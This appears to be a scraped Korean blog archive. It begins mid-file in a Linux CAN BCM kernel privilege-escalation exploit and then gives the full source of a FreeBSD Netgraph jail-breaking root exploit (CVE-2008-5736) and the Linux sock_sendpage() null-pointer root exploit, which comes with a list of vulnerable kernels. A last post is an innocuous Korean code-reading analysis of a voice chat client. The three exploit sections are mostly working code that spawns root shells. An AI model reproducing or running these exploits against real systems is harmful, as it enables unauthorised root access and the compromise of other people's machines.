    struct bcm_msg_head *msg;  


    void *efault;  


    char *buf;  


   


    printf("[+] creating PF_CAN socket...\n");  


   


    sock = socket(PF_CAN, SOCK_DGRAM, CAN_BCM);  


    if (sock < 0) {  


        printf("[-] kernel lacks CAN packet family support\n");  


        exit(1);  


    }  


   


    printf("[+] connecting PF_CAN socket...\n");  


   


    memset(&addr, 0, sizeof(addr));  


    addr.can_family = PF_CAN;  


   


    ret = connect(sock, (struct sockaddr *) &addr, sizeof(addr));  


    if (sock < 0) {  


        printf("[-] could not connect CAN socket\n");  


        exit(1);  


    }  


   


    len = MHSIZ + (CFSIZ * (ALLOCATION / 16));  


    msg = malloc(len);  


    memset(msg, 0, len);  


    msg->can_id = 2959;  


    msg->nframes = (UINT_MAX / CFSIZ) + (ALLOCATION / 16) + 1;  


   


    printf("[+] clearing out any active OPs via RX_DELETE...\n");  


       


    msg->opcode = RX_DELETE;  


    ret = send(sock, msg, len, 0);  


   


    printf("[+] removing any active user-owned shmids...\n");  


   


    system("for shmid in `cat /proc/sysvipc/shm | awk '{print $2}'`; do ipcrm -m $shmid > /dev/null 2>&1; done;");  


   


    printf("[+] massaging " SLUB " SLUB cache with dummy allocations\n");  


   


    diff = check_slabinfo(SLUB, &active, &total);  


   


    shmids = malloc(sizeof(int) * diff * 10);  


   


    cnt = diff * 10;  


    for (i = 0; i < cnt; ++i) {  


        diff = check_slabinfo(SLUB, &active, &total);  


        if (diff == 0) {  


            break;  


        }  


        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);  


    }  


    base = i;  


   


    if (diff != 0) {  


        printf("[-] inconsistency detected with SLUB cache allocation, please try again\n");  


        exit(1);  


    }  


   


    printf("[+] corrupting BCM OP with truncated allocation via RX_SETUP...\n");  


   


    i = base;  


    cnt = i + FILLER;  


    for (; i < cnt; ++i) {  


        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);  


    }  


   


    msg->opcode = RX_SETUP;  


    ret = send(sock, msg, len, 0);  


    if (ret < 0) {  


        printf("[-] kernel rejected malformed CAN header\n");  


        exit(1);  


    }  


   


    i = base + FILLER;  


    cnt = i + FILLER;  


    for (; i < cnt; ++i) {  


        shmids[i] = shmget(IPC_PRIVATE, 1024, IPC_CREAT);  


    }  


   


    printf("[+] mmap'ing truncated memory to short-circuit/EFAULT the memcpy_fromiovec...\n");  


   


    mmap_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 3);  


    sock_len = MHSIZ + (CFSIZ * (ALLOCATION / 16) * 4);  


    efault = mmap(NULL, mmap_len, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);  


   


    printf("[+] mmap'ed mapping of length %d at %p\n", mmap_len, efault);  


   


    printf("[+] smashing adjacent shmid with dummy payload via malformed RX_SETUP...\n");  


   


    msg = (struct bcm_msg_head *) efault;  


    memset(msg, 0, mmap_len);  


    msg->can_id = 2959;  


    msg->nframes = (ALLOCATION / 16) * 4;  


   


    msg->opcode = RX_SETUP;  


    ret = send(sock, msg, mmap_len, 0);  


    if (ret != -1 && errno != EFAULT) {  


        printf("[-] couldn't trigger EFAULT, exploit aborting!\n");  


        exit(1);  


    }  


   


    printf("[+] seeking out the smashed shmid_kernel...\n");  


   


    i = base;  


    cnt = i + FILLER + FILLER;  


    for (; i < cnt; ++i) {  


        ret = (int) shmat(shmids[i], NULL, SHM_RDONLY);  


        if (ret == -1 && errno == EIDRM) {  


            smashed = i;  


            break;  


        }  


    }  


    if (i == cnt) {  


        printf("[-] could not find smashed shmid, trying running the exploit again!\n");  


        exit(1);  


    }  


       


    printf("[+] discovered our smashed shmid_kernel at shmid[%d] = %d\n", i, shmids[i]);  


   


    printf("[+] re-smashing the shmid_kernel with exploit payload...\n");  


   


    shmid_kernel.shm_perm.seq = shmids[smashed] / IPCMNI;  


   


    buf = (char *) msg;  


    memcpy(&buf[MHSIZ + (ALLOCATION * 2) + HDRLEN_KMALLOC], &shmid_kernel, sizeof(shmid_kernel));   


   


    msg->opcode = RX_SETUP;  


    ret = send(sock, msg, mmap_len, 0);  


    if (ret != -1 && errno != EFAULT) {  


        printf("[-] couldn't trigger EFAULT, exploit aborting!\n");  


        exit(1);  


    }  


       


    ret = (int) shmat(shmids[smashed], NULL, SHM_RDONLY);  


    if (ret == -1 && errno != EIDRM) {  


        setresuid(0, 0, 0);  


        setresgid(0, 0, 0);  


   


        printf("[+] launching root shell!\n");  


   


        execl("/bin/bash", "/bin/bash", NULL);  


        exit(0);  


    }  


   


    printf("[-] exploit failed! retry?\n");  


}  


   


void 


setup(void)  


{  


    printf("[+] looking for symbols...\n");  


   


    commit_creds = (_commit_creds) get_symbol("commit_creds");  


    if (!commit_creds) {  


        printf("[-] symbol table not availabe, aborting!\n");  


    }  


   


    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");  


    if (!prepare_kernel_cred) {  


        printf("[-] symbol table not availabe, aborting!\n");  


    }  


   


    printf("[+] setting up exploit payload...\n");  


   


    super_block.s_flags = 0;  


   


    inode.i_size = 4096;  


    inode.i_sb = &super_block;  


    inode.inotify_watches.next = &inode.inotify_watches;  


    inode.inotify_watches.prev = &inode.inotify_watches;  


    inode.inotify_mutex.count = 1;  


   


    dentry.d_count = 4096;  


    dentry.d_flags = 4096;  


    dentry.d_parent = NULL;  


    dentry.d_inode = &inode;  


   


    op.mmap = &kernel_code;  


    op.get_unmapped_area = &kernel_code;  


   


    vfsmount.mnt_flags = 0;  


    vfsmount.mnt_count = 1;  


   


    file.fu_list.prev = &file.fu_list;  


    file.fu_list.next = &file.fu_list;  


    file.f_dentry = &dentry;  


    file.f_vfsmnt = &vfsmount;  


    file.f_op = &op;  


   


    shmid_kernel.shm_perm.key = IPC_PRIVATE;  


    shmid_kernel.shm_perm.uid = getuid();  


    shmid_kernel.shm_perm.gid = getgid();  


    shmid_kernel.shm_perm.cuid = getuid();  


    shmid_kernel.shm_perm.cgid = getgid();  


    shmid_kernel.shm_perm.mode = -1;  


    shmid_kernel.shm_file = &file;  


}  


   


int 


main(int argc, char **argv)  


{  


    setup();  


    trigger();  


    return 0;  



Posted by k1rha
2012. 4. 15. 02:55

/*  


 * FreeBSD <= 6.4-RELEASE Netgraph Exploit  


 * by zx2c4  


 *   


 *   


 * This is an exploit for CVE-2008-5736, the FreeBSD protosw  


 * and loosely based on Don Bailey's 2008 exploit -  


 * http://www.exploit-db.com/exploits/7581/ . The thing with  


 * Don's exploit is that it relies on having a known location  


 * of allproc, which means having access to the kernel or  


 * debugging symbols, either of which might not be available.  


 * Initial attempts included a general memory search for some  


 * characteristics of allproc, but this was difficult to make  


 * reliable. This solution here is a much more standard - get  


 * the current thread, change its permissions, and execl to  


 * shell. Additionally, it breaks out of chroots and freebsd  


 * jails by reparenting to pid 1 and copying its fds.  


 *  


 * This reliably works on kernels on or below 6.4-RELEASE:  


 *  


 * $ gcc a.c  


 * $ ./a.out  


 * ~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~  


 * ~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~  


 * ~~~~~ greetz to don bailey, edemveiss ~~~~~  


 *  


 * [+] mmapping null page  


 * [+] adding jmp to pwnage in null page  


 * [+] opening netgraph socket  


 * [+] triggering null dereference  


 * [+] elevating permissions  


 * [+] got root!  


 * #  


 *  


 * It's an oldie, but simple enough that someone needed  


 * to write another PoC exploit at some point.  


 *  


 * cheers,  


 * zx2c4, 27-2-2011  


 *  


 */ 


   


#define _KERNEL  


#include <sys/types.h>  


#include <sys/time.h>  


#include <sys/param.h>  


#include <sys/proc.h>  


#include <sys/ucred.h>  


#include <sys/mman.h>  


#include <sys/socket.h>  


#include <sys/stat.h>  


#include <sys/filedesc.h>  


#include <sys/queue.h>  


#include <netgraph/ng_socket.h>  


#include <stdio.h>  


#include <fcntl.h>  


#include <unistd.h>  


   


#define PAGES 1  


   


   


volatile int got_root = 0;  


int root(void)  


{  


    struct thread *thread;  


    asm(  


        "movl %%fs:0, %0" 


        : "=r"(thread)  


    );  


    thread->td_critnest = 0;  


    thread->td_proc->p_ucred->cr_uid = 0;  


    thread->td_proc->p_ucred->cr_prison = NULL;  


   


    struct proc *parent = thread->td_proc;  


    while (parent->p_pptr && parent->p_pid != 1)  


        parent = parent->p_pptr;  


    thread->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;  


    thread->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;  


    thread->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;  


    thread->td_proc->p_pptr = parent;  


   


    got_root = 1;  


    return 0;  


}  


   


int main(int argc, char *argv[])  


{  


    printf("~ FreeBSD <= 6.4-RELEASE Netgraph Exploit ~\n");  


    printf("~~~~~~~~~~~~~~~~~ by zx2c4 ~~~~~~~~~~~~~~~~\n");  


    printf("~~~~~ greetz to don bailey, edemveiss ~~~~~\n\n");  


   


    printf("[+] mmapping null page\n");  


    if (mmap(NULL, PAGES * PAGE_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {  


        perror("[-] mmap failed");  


        return -1;  


    }  


   


    printf("[+] adding jmp to pwnage in null page\n");  


    *(char*)0x0 = 0x90;  


    *(char*)0x1 = 0xe9;  


    *(unsigned long*)0x2 = (unsigned long)&root;  


   


    printf("[+] opening netgraph socket\n");  


    int s = socket(PF_NETGRAPH, SOCK_DGRAM, NG_DATA);  


    if (s < 0) {  


        perror("[-] failed to open netgraph socket");  


        return -1;  


    }  


   


    printf("[+] triggering null dereference\n");  


    shutdown(s, SHUT_RDWR);  


   


    if (!got_root) {  


        printf("[-] failed to trigger pwnage\n");  


        return -1;  


    }  


   


    printf("[+] elevating permissions\n");  


    setuid(0);    


    setgid(0);  


    if (getuid() != 0) {  


        printf("[-] failed to get root\n");  


        return -1;  


    }  


   


    printf("[+] got root!\n");  


    execl("/bin/sh", "sh", NULL);  


   


    return 0;  



Posted by k1rha
2012. 4. 15. 02:55

/*  


 *  Linux sock_sendpage() NULL pointer dereference  


 *  Copyright 2009 Ramon de Carvalho Valle <ramon@risesecurity.org>  


 *  


 *  This program is free software; you can redistribute it and/or modify  


 *  it under the terms of the GNU General Public License as published by  


 *  the Free Software Foundation; either version 2 of the License, or  


 *  (at your option) any later version.  


 *  


 *  This program is distributed in the hope that it will be useful,  


 *  but WITHOUT ANY WARRANTY; without even the implied warranty of  


 *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the  


 *  GNU General Public License for more details.  


 *  


 *  You should have received a copy of the GNU General Public License  


 *  along with this program; if not, write to the Free Software  


 *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301  USA  


 *  


 */ 


   


/*  


 * This exploit was written to illustrate the exploitability of this  


 * vulnerability[1], discovered by Tavis Ormandy and Julien Tinnes, on ppc  


 * and ppc64.  


 *  


 * This exploit makes use of the SELinux and the mmap_min_addr problem to  


 * exploit this vulnerability on Red Hat Enterprise Linux 5.3 and CentOS 5.3.  


 * The problem, first noticed by Brad Spengler, was described by Red Hat in  


 * Red Hat Knowledgebase article: Security-Enhanced Linux (SELinux) policy and  


 * the mmap_min_addr protection[2].  


 *  


 * Support for i386 and x86_64 was added for completeness. For a more complete  


 * implementation, refer to Brad Spengler's exploit[3], which also implements  


 * the personality trick[4] published by Tavis Ormandy and Julien Tinnes.  


 *  


 * Linux kernel versions from 2.4.4 to 2.4.37.4, and from 2.6.0 to 2.6.30.4  


 * are vulnerable.  


 *  


 * This exploit was tested on:  


 *  


 * CentOS 5.3 (2.6.18-128.7.1.el5) is not vulnerable  


 * CentOS 5.3 (2.6.18-128.4.1.el5)  


 * CentOS 5.3 (2.6.18-128.2.1.el5)  


 * CentOS 5.3 (2.6.18-128.1.16.el5)  


 * CentOS 5.3 (2.6.18-128.1.14.el5)  


 * CentOS 5.3 (2.6.18-128.1.10.el5)  


 * CentOS 5.3 (2.6.18-128.1.6.el5)  


 * CentOS 5.3 (2.6.18-128.1.1.el5)  


 * CentOS 5.3 (2.6.18-128.el5)  


 * CentOS 4.8 (2.6.9-89.0.9.EL) is not vulnerable  


 * CentOS 4.8 (2.6.9-89.0.7.EL)  


 * CentOS 4.8 (2.6.9-89.0.3.EL)  


 * CentOS 4.8 (2.6.9-89.EL)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.7.1.el5) is not vulnerable  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.4.1.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.2.1.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.16.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.14.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.10.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.6.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.1.1.el5)  


 * Red Hat Enterprise Linux 5.3 (2.6.18-128.el5)  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.9.EL) is not vulnerable  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.7.EL)  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.0.3.EL)  


 * Red Hat Enterprise Linux 4.8 (2.6.9-89.EL)  


 * SUSE Linux Enterprise Server 11 (2.6.27.19-5)  


 * SUSE Linux Enterprise Server 10 SP2 (2.6.16.60-0.21)  


 * Ubuntu 8.10 (2.6.27-14) is not vulnerable  


 * Ubuntu 8.10 (2.6.27-11)  


 * Ubuntu 8.10 (2.6.27-9)  


 * Ubuntu 8.10 (2.6.27-7)  


 *  


 * For i386 and ppc, compile with the following command:  


 * gcc -Wall -o linux-sendpage linux-sendpage.c  


 *  


 * And for x86_64 and ppc64:  


 * gcc -Wall -m64 -o linux-sendpage linux-sendpage.c  


 *  


 * [1] http://blog.cr0.org/2009/08/linux-null-pointer-dereference-due-to.html  


 * [2] http://kbase.redhat.com/faq/docs/DOC-18042  


 * [3] http://www.grsecurity.net/~spender/wunderbar_emporium2.tgz  


 * [4] http://blog.cr0.org/2009/06/bypassing-linux-null-pointer.html  


 */ 


   


#include <stdio.h>  


#include <stdlib.h>  


#include <string.h>  


#include <sys/mman.h>  


#include <sys/sendfile.h>  


#include <sys/types.h>  


#include <sys/socket.h>  


#include <unistd.h>  


   


#if !defined(__always_inline)  


#define __always_inline inline __attribute__((always_inline))  


#endif  


   


#if defined(__i386__) || defined(__x86_64__)  


#if defined(__LP64__)  


static __always_inline unsigned long 


current_stack_pointer(void)  


{  


    unsigned long sp;  


   


    asm volatile ("movq %%rsp,%0; " : "=r" (sp));  


   


    return sp;  


}  


   


#else  


static __always_inline unsigned long 


current_stack_pointer(void)  


{  


    unsigned long sp;  


   


    asm volatile ("movl %%esp,%0" : "=r" (sp));  


   


    return sp;  


}  


   


#endif  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


static __always_inline unsigned long 


current_stack_pointer(void)  


{  


    unsigned long sp;  


   


    asm volatile ("mr %0,%%r1; " : "=r" (sp));  


   


    return sp;  


}  


   


#endif  


   


#if defined(__i386__) || defined(__x86_64__)  


#if defined(__LP64__)  


static __always_inline unsigned long 


current_task_struct(void)  


{  


    unsigned long task_struct;  


   


    asm volatile ("movq %%gs:(0),%0; " : "=r" (task_struct));  


   


    return task_struct;  


}  


   


#else  


#define TASK_RUNNING 0  


   


static __always_inline unsigned long 


current_task_struct(void)  


{  


    unsigned long task_struct, thread_info;  


   


    thread_info = current_stack_pointer() & ~(4096 - 1);  


   


    if (*(unsigned long *)thread_info >= 0xc0000000) {  


        task_struct = *(unsigned long *)thread_info;  


   


        /*  


         * The TASK_RUNNING is the only possible state for a process executing  


         * in user-space.  


         */ 


        if (*(unsigned long *)task_struct == TASK_RUNNING)  


            return task_struct;  


    }  


   


    /*  


     * Prior to the 2.6 kernel series, the task_struct was stored at the end  


     * of the kernel stack.  


     */ 


    task_struct = current_stack_pointer() & ~(8192 - 1);  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    thread_info = task_struct;  


   


    task_struct = *(unsigned long *)thread_info;  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    return -1;  


}  


   


#endif  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


#define TASK_RUNNING 0  


   


static __always_inline unsigned long 


current_task_struct(void)  


{  


    unsigned long task_struct, thread_info;  


   


#if defined(__LP64__)  


    task_struct = current_stack_pointer() & ~(16384 - 1);  


   


#else  


    task_struct = current_stack_pointer() & ~(8192 - 1);  


   


#endif  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    thread_info = task_struct;  


   


    task_struct = *(unsigned long *)thread_info;  


   


    if (*(unsigned long *)task_struct == TASK_RUNNING)  


        return task_struct;  


   


    return -1;  


}  


   


#endif  


   


#if defined(__i386__) || defined(__x86_64__)  


static unsigned long uid, gid;  


   


static int 


change_cred(void)  


{  


    unsigned int *task_struct;  


   


    task_struct = (unsigned int *)current_task_struct();  


   


    while (task_struct) {  


        if (task_struct[0] == uid && task_struct[1] == uid &&  


                task_struct[2] == uid && task_struct[3] == uid &&  


                task_struct[4] == gid && task_struct[5] == gid &&  


                task_struct[6] == gid && task_struct[7] == gid) {  


            task_struct[0] = task_struct[1] =  


            task_struct[2] = task_struct[3] =  


            task_struct[4] = task_struct[5] =  


            task_struct[6] = task_struct[7] = 0;  


            break;  


        }  


   


        task_struct++;  


    }  


   


    return -1;  


}  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


static int 


change_cred(void)  


{  


    unsigned int *task_struct;  


   


    task_struct = (unsigned int *)current_task_struct();  


   


    while (task_struct) {  


        if (!task_struct[0]) {  


            task_struct++;  


            continue;  


        }  


   


        if (task_struct[0] == task_struct[1] &&  


                task_struct[0] == task_struct[2] &&  


                task_struct[0] == task_struct[3] &&  


                task_struct[4] == task_struct[5] &&  


                task_struct[4] == task_struct[6] &&  


                task_struct[4] == task_struct[7]) {  


            task_struct[0] = task_struct[1] =  


            task_struct[2] = task_struct[3] =  


            task_struct[4] = task_struct[5] =  


            task_struct[6] = task_struct[7] = 0;  


            break;  


        }  


   


        task_struct++;  


    }  


   


    return -1;  


}  


   


#endif  


   


#define PAGE_SIZE getpagesize()  


   


int 


main(void)  


{  


    char *addr;  


    int out_fd, in_fd;  


    char template[] = "/tmp/tmp.XXXXXX";  


   


#if defined(__i386__) || defined(__x86_64__)  


    uid = getuid(), gid = getgid();  


   


#endif  


   


    if ((addr = mmap(NULL, 0x1000, PROT_EXEC|PROT_READ|PROT_WRITE, MAP_FIXED|  


            MAP_PRIVATE|MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {  


        perror("mmap");  


        exit(EXIT_FAILURE);  


    }  


   


#if defined(__i386__) || defined(__x86_64__)  


#if defined(__LP64__)  


    addr[0] = '\xff';  


    addr[1] = '\x24';  


    addr[2] = '\x25';  


    *(unsigned long *)&addr[3] = 8;  


    *(unsigned long *)&addr[8] = (unsigned long)change_cred;  


   


#else  


    addr[0] = '\xff';  


    addr[1] = '\x25';  


    *(unsigned long *)&addr[2] = 8;  


    *(unsigned long *)&addr[8] = (unsigned long)change_cred;  


   


#endif  


   


#elif defined(__powerpc__) || defined(__powerpc64__)  


#if defined(__LP64__)  


    /*  


     * The use of function descriptors by the Power 64-bit ELF ABI requires  


     * the use of a fake function descriptor.  


     */ 


    *(unsigned long *)&addr[0] = *(unsigned long *)change_cred;  


   


#else  


    addr[0] = '\x3f';  


    addr[1] = '\xe0';  


    *(unsigned short *)&addr[2] = (unsigned short)change_cred>>16;  


    addr[4] = '\x63';  


    addr[5] = '\xff';  


    *(unsigned short *)&addr[6] = (unsigned short)change_cred;  


    addr[8] = '\x7f';  


    addr[9] = '\xe9';  


    addr[10] = '\x03';  


    addr[11] = '\xa6';  


    addr[12] = '\x4e';  


    addr[13] = '\x80';  


    addr[14] = '\x04';  


    addr[15] = '\x20';  


   


#endif  


   


#endif  


   


    if ((out_fd = socket(PF_BLUETOOTH, SOCK_DGRAM, 0)) == -1) {  


        perror("socket");  


        exit(EXIT_FAILURE);  


    }  


   


    if ((in_fd = mkstemp(template)) == -1) {  


        perror("mkstemp");  


        exit(EXIT_FAILURE);  


    }  


   


    if(unlink(template) == -1) {  


        perror("unlink");  


        exit(EXIT_FAILURE);  


    }  


   


    if (ftruncate(in_fd, PAGE_SIZE) == -1) {  


        perror("ftruncate");  


        exit(EXIT_FAILURE);  


    }  


   


    sendfile(out_fd, in_fd, NULL, PAGE_SIZE);  


   


    execl("/bin/sh", "sh", "-i", NULL);  


   


    exit(EXIT_SUCCESS);  


}  


   


// milw0rm.com [2009-08-31] 


Posted by k1rha
2012. 4. 13. 12:18


===================================================================================================

음성채팅 분석내용이다. 아직 클라이언트만 했지만 일단 큰 흐름은 잡힌것 같다. 파일은 너무 용량이 커서 별첨한다. 

중요한 부분이라고 생각한 것의주로 봐봤는데, 실제 일반 소켓통신에 음성을 받아주는 버퍼값만 추가된 정도 같다.  한글문서로 만들엇다가 그대로 복사한 내용이므로 첨부된 한글 파일로 보면 좀더 편할 것이다.

===================================================================

For CodeReading SIG.hwp

음성채팅 프로그램 분석 [client]

For  SSM  CodeReading SIG

 



void CTalkclientDlg::OnBtnconnect()

: 서버에 연결하는 부분 설정을 잡고 InitSockets를 호출한다.

BOOL CTalkclientDlg::InitSockets(int iProtIndex) :

연결을 위해 소켓을 초기화 시킨다.

AF_IPX 타입인 경우 :

winapi인 GetAddressByName

를 호출함으로 VOICE_TALK_SERVER_IPX 라는 이름으로 프로토콜을 맞춤.

AF_INET 타입인 경우 :

GetAddressByName를 호출함으로써 server name으로 IP를 맞춤

AF_NETBIOS 인 경우 :

SET_NETBIOS_SOCKADDR를 호출함으로써 넷바이오스 설정으로 맞춤

 

 

m_MySock구조체에 소켓을 셋팅 해 준다.

m_iSockType는 소켓의 TYPE을 정해줌으로 인터넷 주소 체계를 지정한다.

m_iProtocol 는 프로토콜을 정의한다.

socket() 함수를 통하여 소켓을 생성하고 그 값을 socket에 저장한다.

 

connect()를 통하여 서버에 연결을 해준다.

 

WSAAsyncSelect() 비동기 분할 처리 방식으로 소켓을 바꾼다.

(이것을 이용하여 다수의 사용자가 동시에 연결 할 수 있게 된다.)

 

 

void CTalkclientDlg::DoConnection(BOOL bTrue)

:연결 했을 때 dialog 상태를 바꾸어 주는 역할만 한다.

 

void CTalkclientDlg::OnBtnsend()

//전송 버튼을 눌렀을 때 행동

typedef struct _VTMSG

{

BYTE m_ucIdentity; // Identifies the message

BYTE m_ucCmd; // message command

BYTE m_ucMsgType; // The message type

UINT m_lLength; // size of the message block

BYTE m_pData[VT_MAX]; // message data

} VTMSG, *LPVTMSG;

구조체에 쓰여질 문자열을 입력한다.

이부분은 일반 C소켓과 좀 다른 부분 같다. 일반 소켓은 char* 형으로 전달되는데 여기서는 음성을 위해 바이트 코드로 전송시켜주기 위함 같다.

 

데이터를 실어 나르는 곳은 m_pData[VT_MAX]; 이 부분이다.

 

SendVTMessage() 메소드를 호출함으로 메시지를 전송 시킨다.

if((sendingSize = (int)send(sock, (char *)sendBuf + byteSent,

byteAll - byteSent, 0)) == SOCKET_ERROR)

{

// Error

return FALSE;

}

byteSent += sendingSize;

 

위에서 말했던 Char * 부분이 여기 있다. send()는 함수를 이용하여 다 전송될 때 까지 보낸다.

 

void CTalkclientDlg::OnBtndisconnect()

:서버에서 연결을 끊는다.

DoConnection(FALSE);

를 이용하여 연결을 끊는다. flase 로 들어가게 되면 closesocket()를 통하여 소켓을 끝내고 다른 변수들을 초기화 시켜 준다.

 

void CTalkclientDlg::OnSelchangeCombchatter()

:사용자를 선택

if(m_ComBoTalker.GetCurSel()==LB_ERR) 메시지 버프에 기존의 정보로 문자열을 체우고 소켓 비동기형으로 다시 소켓 셋팅

else

새로운 사용자의 정보로 비동기 소켓을 열음

 

void CTalkclientDlg::OnChkvoice()

:음성 메시지를 보내는 것을 설정

:일반 메시지보내는 박스를 비활성화 시킴

m_vtRecord.StartRecord();

:녹음을 시작함

BOOL VTRecordWave::StartRecord(void)

: 음성 녹음 메소드

Initialize();

:음성 녹음 초기화

WAVEINCAPS wic;

WAVEFORMATEX wfx;

UINT uiDevID;

MMRESULT rc;

UINT nMaxDev = ::waveInGetNumDevs();

char sError[129];

 

같은 경우 MMSystem.h에서 제공해주는 음성를 저장하기 위한 변수

rc = ::waveInGetDevCaps(uiDevID, &wic, sizeof(wic));

마이크 상태값 가져오기.

 

 

for(uiDevID = 0; uiDevID < nMaxDev; uiDevID++)

{

// Get input device caps

rc = ::waveInGetDevCaps(uiDevID, &wic, sizeof(wic));

if(rc == MMSYSERR_NOERROR)

{

// Set the correct format for wave input device

wfx.nChannels = VTWAVECHANNEL[m_iFormat]; //1: mono, 2, stereo

wfx.nSamplesPerSec = VTWAVEFREQ[m_iFormat];

wfx.wFormatTag = WAVE_FORMAT_PCM;

wfx.wBitsPerSample = VTWAVEBITS[m_iFormat];

wfx.nBlockAlign = wfx.nChannels*wfx.wBitsPerSample/8;

wfx.nAvgBytesPerSec = wfx.nSamplesPerSec * wfx.nBlockAlign;

wfx.cbSize = 0;

 

// Open the wave input device

rc = waveInOpen(&m_hwIn, uiDevID, &wfx, (DWORD)m_hWnd,

0, CALLBACK_WINDOW);

 

if (rc == MMSYSERR_NOERROR)

break

else // Failed

{

// Get the error information

waveInGetErrorText(rc, sError, 128),

MessageBox(m_hWnd, sError, "Error in input device opening", MB_OK);

return FALSE;

}

}

}

rc = waveInPrepareHeader(m_hwIn, m_pWhdrIn, sizeof(WAVEHDR));

:음성 녹음을 담당하는 선언 해 주는 부분 (WIN API에서 제공)

[This function prepares a buffer for waveform input. This function allows both the audio driver and the operation System 새애 time consuming processing of the header and /or buffer once at initalization]

 

rc = waveInAddBuffer(m_hwIn, m_pWhdrIn, sizeof(WAVEHDR));

:음성을 담아두는 버퍼 부분

waveInGetErrorText(rc, sError, 128)

: 음성 설정 에러를 체크 하는 부분

rc = waveInStart(m_hwIn);

:음성 기록을 시작.

 

m_vtRecord.StopRecord();

:음성 기록 종료

 

 

void VTRecordWave::StopRecord(void)

:음성 레코드 기록을 멈춤

waveInStop(m_hwIn);

: 음성기록을 멈춤

waveInUnprepareHeader(m_hwIn, m_pWhdrIn, sizeof(WAVEHDR));

:음성준비를 끝냄

waveInClose(m_hwIn);

:음성 핸들러 종료

 

BOOL VTRecordWave::ResetRecord(void) (음성 기록을 상속 시켰으면 좀 편하지 않았을까?)

waveInStop(m_hwIn);

: 음성 기록을 멈춤

: 음성 재 기록 부분

waveInUnprepareHeader(m_hwIn, m_pWhdrIn, sizeof(WAVEHDR));

:음성준비를 끝냄

StopRecord()

:기록 종료

 

void CTalkclientDlg::EnableTalking(BOOL bTrue)

:음성 통신을 위해 상태를 정하는 flag 값이 들어가 있는 곳

:그외엔 별다른 특징 없음

 

void CTalkclientDlg::ParseMsgData(void)

:받은 메시지를 파싱해주는 부분

m_vtRecvMsgBuf.m_ucMsgType

:타입에 따라 어떻게 버퍼에 저장할지 정함

 

case VT_TEXT

: 일반 메시지로써 스트링값에 그냥 저장한다.

strRecv = (char*)(m_vtRecvMsgBuf.m_pData);

case VT_WAVE4S16:

m_progctrlRecv.SetPos(1);

// Get wave data buffer size

m_uiBufLen = m_vtRecvMsgBuf.m_lLength - SIZEVTMSGHDR;

// Copy wave data buffer

memcpy((void*)m_pWaveData, (void*)m_vtRecvMsgBuf.m_pData,m_uiBufLen);

 

음성값을 저장.

 

LONG CTalkclientDlg::OnVTDataReady(WPARAM wparam, LPARAM lparam)

:음성메시지를 위한 응답

 

Case :

m_vtRecvMsgBuf.m_ucCmd == VTCMD_REGNAME: 인 경우

:사용자이름을 말하는 레지스터이다.

:이부분에서 콤보박스에 어떤 사람과 채팅할 것인지 추가된다.

m_vtRecvMsgBuf.m_ucCmd == VTCMD_DEREGNAME 인 경우

:사용자 이름을 말하는 레지스트를 해지한다.

:이 부분에서 콤보박스에 위에서 추가한 사람이름을 삭제한다.

 

m_vtRecvMsgBuf.m_ucCmd == VTCMD_REQSESSION

:세션을 위한 초대부분이다.

:초대하는 sendMsgBuf를 만들어서 보낸다.

m_vtRecvMsgBuf.m_ucCmd == VTCMD_SESSIONREQRESP

:요청을 응답한다.

m_vtRecvMsgBuf.m_ucCmd == VTCMD_SESSIONCLOSE

:사용자가 나간다.

 

 

 

LONG CTalkclientDlg::OnVTReadyForWrite(WPARAM wparam, LPARAM lparam)

:메시지 쓰기를 위한 준비상태

SendMsgBuf 에 VTCMD_REGNAME 값을 cmd 로 넣고 보낸다.

 

 

LONG CTalkclientDlg::OnRecordEvent(WPARAM wparam, LPARAM lparam)

:MM_WIM_DATA를 위한 준비

WAVEHDR* lpwhdr = (WAVEHDR*)lparam;를 선언해 주고 여기에 받는다.

 

m_vtSendMsgBuf.m_ucIdentity = VT_IDENTITY;

m_vtSendMsgBuf.m_ucCmd = VTCMD_MSGDATA;

m_vtSendMsgBuf.m_ucMsgType = m_iWaveFormat;

m_vtSendMsgBuf.m_lLength = SIZEVTMSGHDR + lpwhdr->dwBufferLength;

memcpy((void*)m_vtSendMsgBuf.m_pData, (void*)lpwhdr->lpData,

lpwhdr->dwBufferLength);

이러한 식으로 음성포인터를 전해 전송한다.

 

 

LONG CTalkclientDlg::OnPlayEvent(WPARAM wparam, LPARAM lparam)

:MM_WOM_DONE 플레이 버퍼를 완료함

 

 

Posted by k1rha
2012. 4. 12. 18:49

춯처 : http://blog.naver.com/sshuikr?Redirect=Log&logNo=100060086075


